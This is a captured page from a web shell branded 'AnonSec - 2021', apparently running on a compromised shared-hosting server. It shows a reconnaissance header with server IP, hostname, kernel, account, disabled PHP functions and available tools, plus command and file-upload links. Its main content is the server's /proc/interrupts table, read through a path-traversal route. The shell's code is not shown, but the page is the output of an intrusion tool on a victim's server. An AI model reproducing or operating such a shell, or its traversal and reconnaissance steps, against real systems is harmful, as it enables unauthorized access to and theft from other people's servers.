Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.216.50
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../etc/pki/java/../java/../java/../java/../java/../java/../java/../../../proc/878/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../etc/pki/java/../java/../java/../java/../java/../java/../java/../../../proc/878/../interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
  1:          0          0          0          9          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   1-edge      i8042
  4:          0          0          0          0          0          0          0          0          0          0          9          0          1         15          0          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 10:          0          0          0          0          0          0          0     155577          0          0          0          0          0          0          2          0   IO-APIC  10-fasteoi   virtio4
 11:          0         40          0          0          0          0          0          0      25328          0          0          0          0          0          0          0   IO-APIC  11-fasteoi   virtio5, uhci_hcd:usb1
 12:          0          0         15          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  12-edge      i8042
 14:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  15-edge      ata_piix
 24:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:05.0   0-edge      virtio3-config
 25:          0          0          0          0          0          0         15          0          0         13          0          0          0          0          0          0  PCI-MSIX-0000:00:05.0   1-edge      virtio3-virtqueues
 26:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   0-edge      virtio2-config
 27:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   1-edge      virtio2-control
 28:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.0   0-edge      virtio1-config
 29:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   2-edge      virtio2-event
 30:     186485     139805      93579     299734     144766     377649     111085     153144     214717     145774     323818     274982     347292      38030     449242      85531  PCI-MSIX-0000:00:03.0   1-edge      virtio1-input.0
 31:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   21826168  PCI-MSIX-0000:00:04.0   3-edge      virtio2-request
 32:     510310     394145     183840     855673     175910     936346     176046     254269     524025     421873     709273     420802     490480      45438     750256     261215  PCI-MSIX-0000:00:03.0   2-edge      virtio1-output.0
 33:      62989    1410067     214282     653401     232000    1039738     337657     290118     575728     306689     663943     446194     680979     160040     824951     141390  PCI-MSIX-0000:00:03.0   3-edge      virtio1-input.1
 34:     231243    6052524     152178    1564862     577845    2581368    1507970     490475     964938    1022152    1309154     661568    1584035     225265    1684990     191146  PCI-MSIX-0000:00:03.0   4-edge      virtio1-output.1
 35:     158244     188796     249070     337913     113942     504816     212892     196307     301125     202351     372549     264161     400093      82454     409611     148405  PCI-MSIX-0000:00:03.0   5-edge      virtio1-input.2
 36:     179458     444219    1243666     808461     352079    1035084     275470     762030     909182     418867     870452     937406     930757      91075    1037766     305841  PCI-MSIX-0000:00:03.0   6-edge      virtio1-output.2
 37:     289364     790408     205328    3810885     302503    1699060     291243     406438     705680     462539     767201     557997    1104549     464115    1380164     164818  PCI-MSIX-0000:00:03.0   7-edge      virtio1-input.3
 38:    2060267    1059471     290740   14572887    1026634    2809284     902000     631086    1037324     641973    1651795    1024434    1193801     451115    2205745     699793  PCI-MSIX-0000:00:03.0   8-edge      virtio1-output.3
 39:     165689     203603     250730     349524     436384     442871     173986     198482     285727     189933     338565     258533     381204      76819     402282     144943  PCI-MSIX-0000:00:03.0   9-edge      virtio1-input.4
 40:      57037     641122     126329     989019    2487173    1201276     798569     771394     584204     515240     745660     491518     790842     151643     928186     210371  PCI-MSIX-0000:00:03.0  10-edge      virtio1-output.4
 41:     172204    1037692     485570    2288430     353454    6288932     397391     531390     651898     439510     993330     643963     967355     233236    1727524     111712  PCI-MSIX-0000:00:03.0  11-edge      virtio1-input.5
 42:    1492315    2075616     329760    4279297     870046   21102523     639884     387850    1032474    1133417    1572665     769160    1789170     176895    2690641     233409  PCI-MSIX-0000:00:03.0  12-edge      virtio1-output.5
 43:          0    8466016          0   26739618          0   43225871       1149          0    9337690   20038519          0          0    3044506          0   38977160   87313527  PCI-MSIX-0000:00:03.0  13-edge      virtio1-input.6
 44:     192834     583540     215903    1072303    1701793    1246014    1768033     383122     693186     479248     874821     716339     798273     132752    1243114     277782  PCI-MSIX-0000:00:03.0  14-edge      virtio1-output.6
 45:     131255     231401      90132     405000     138263     585423     186249     597922     367406     237654     507214     284348     448247     113197     537063     164294  PCI-MSIX-0000:00:03.0  15-edge      virtio1-input.7
 46:     393984     619468     224542    1008918     270634    1239669     716482    1562591     857668     450977     762417     630690     963914     137329    1066245     453109  PCI-MSIX-0000:00:03.0  16-edge      virtio1-output.7
 47:     169733     412107     194690     603753     249789     840271     261287     391692    1768033     389224     588280     374511     582639     172069     711871     160354  PCI-MSIX-0000:00:03.0  17-edge      virtio1-input.8
 48:     310000     835084    1279512    1290493     317196    1604722     601579     614858    4597422     646359     930056     655317    1507330     261434    1459594     570375  PCI-MSIX-0000:00:03.0  18-edge      virtio1-output.8
 49:     130835     240805      95689     410077     253097     616266     236688     215444     361867     855623     472612     292721     517095      95149     532277     160672  PCI-MSIX-0000:00:03.0  19-edge      virtio1-input.9
 50:     812268     673934     315138     883370     486273    1359055     456431     553647     840179    1637262     919768     622445     936233     238434    1044059     459290  PCI-MSIX-0000:00:03.0  20-edge      virtio1-output.9
 51:     233465     463867     325375     751404     209466    1006770     314086     382153     572824     392401    2869486     501610     712104     214050     731420     277498  PCI-MSIX-0000:00:03.0  21-edge      virtio1-input.10
 52:     693102    1247676     943226    1438237     598224    2176472     716263     549359     752282     706161    7869692     907828    1533794     121721    1698173     548835  PCI-MSIX-0000:00:03.0  22-edge      virtio1-output.10
 53:     483951     277585     153030     432953     174701     595834     296825     281434     425782     219281     501117    1045186     519525     198277     463157     147397  PCI-MSIX-0000:00:03.0  23-edge      virtio1-input.11
 54:     171089     641870     139026    1229220     570393    1487810     375885     387384     774903     647614     937096    3299094     894667     268574    1281794     515257  PCI-MSIX-0000:00:03.0  24-edge      virtio1-output.11
 55:      89478     696898     307660     903948     291959    1124239     326069     424575     633575     338708     788083     566239    2667023     184736     947811     402241  PCI-MSIX-0000:00:03.0  25-edge      virtio1-input.12
 56:       5126    1401032     134652    1787193     426912    2160613     833984    1211408    1606063     947287    1706078     883890    6204151     487111    1766947     129174  PCI-MSIX-0000:00:03.0  26-edge      virtio1-output.12
 57:      76662     131096      64479     278259      86430     348115     157208     196906     251149     137218     302710     207161     290031     372297     297318      92463  PCI-MSIX-0000:00:03.0  27-edge      virtio1-input.13
 58:     115250     204226     119672     447070     242032     430096     269065     258024     412934     329215     458568     347882     433921    2529154     443782     220601  PCI-MSIX-0000:00:03.0  28-edge      virtio1-output.13
 59:     650300     750590     489949    1141458     288288    1352152     340295     611701     902478     441898     854172     577022     848029     194430    4130577     276009  PCI-MSIX-0000:00:03.0  29-edge      virtio1-input.14
 60:     305082    1771173     172085    2500971     769329    2769247    1593920     982387    1011776     914647    1446857     681453    1579303     286612   15077116     561204  PCI-MSIX-0000:00:03.0  30-edge      virtio1-output.14
 61:      85540     215005      87785     361929     152788     480518     216917     146014     303962     173766     398675     331207     389186     189836     421753     401168  PCI-MSIX-0000:00:03.0  31-edge      virtio1-input.15
 62:     183309     398027     203741     648567     345162     778648     304336     246210     517898     473427     554043     477570     609899     737171     862872    1008242  PCI-MSIX-0000:00:03.0  32-edge      virtio1-output.15
 63:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.0   0-edge      virtio0-config
 64:     859334     118853     651466     140129     487749     132675     495635     308737     445110     228611     365962     255996     267104    2721271     187235     247618  PCI-MSIX-0000:00:02.0   1-edge      virtio0-control
 65:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.0   2-edge      virtio0-cursor
NMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC:   91329477  196444350  137507162  209728887  113638040  251103855  112778006   98707072  132695610  161539226   98733396  100243558  210310439   88459177  228920820  352770976   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI:      30295      44254      27747      81910      27011     132350      31288      35448      55974      40833      68648      49295      58481      16225      89150      35803   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:    1646589    2013570    1974000    1774503    1811923    1619425    1733490    1691111    1607907    1599057    1572526    1537328    1518227    1586464    1532852    1538078   Rescheduling interrupts
CAL:   83046817   93109843   76227038   61420112   58240980   53314747   52625430   50784645   51481037   50009871   47818237   48890946   55889394   49000998   48235148   48709908   Function call interrupts
TLB:    2534800    2826278    2767418    2728548    2719097    2679127    2700133    2631614    2639720    2584353    2581632    2556036    2531849    2525730    2491546    2529334   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:       4748       4748       4748       4748       4748       4748       4748       4748       4748       4748       4748       4748       4748       4748       4748       4748   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

AnonSec - 2021